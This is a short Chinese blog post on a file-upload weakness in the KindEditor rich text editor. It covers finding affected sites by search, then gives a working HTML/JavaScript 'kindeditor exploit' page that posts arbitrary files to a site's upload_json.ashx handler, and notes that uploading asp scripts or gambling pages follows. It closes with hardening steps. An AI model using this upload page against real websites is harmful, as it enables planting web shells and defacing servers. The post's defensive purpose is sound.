KindEditor是常用的富文本编辑器,里边有上传的功能,如果上传文件类型控制的不好,可能就会给网站带来安全问题,比如上传了网马,可能对我们的服务器就造成了伤害。
首先通过搜索引擎查到使用kindeditor的位置,比如http://xxxx/editor/ ,然后编写上传文件代码,例如:
<html>
<head>
<title>kindeditor exploit</title>
<script src="~/Content/editor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function (K) {
var uploadbutton = K.uploadbutton({
button: K('#uploadButton')[0],
fieldName: 'imgFile',
url: 'http://xxxx/editor/asp.net/upload_json.ashx?dir=file',
afterUpload: function (data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);
}
},
});
uploadbutton.fileBox.change(function (e) {
uploadbutton.submit();
});
});
</script>
</head>
<body>
<div class="upload">
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
效果如下:
选择测试文件:
我们可以看到文件已经上传了,然后浏览器输入文件路径地址,就可以看到上传的文件内容了,如果可以上传asp等可执行脚本文件,就可以提权了,即使上传html等博彩页面也很让人难受。
解决办法就是控制上传文件类型,设置文件夹权限,不能执行,只能读取等。具体如下:
1、删除Kindeditor对应文件夹下的demo.aspx;
2、修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型;
3、修改file_manager_json和upload_json两个文件名称,全局搜索两个文件名并对应修改程序调用名称。
网友评论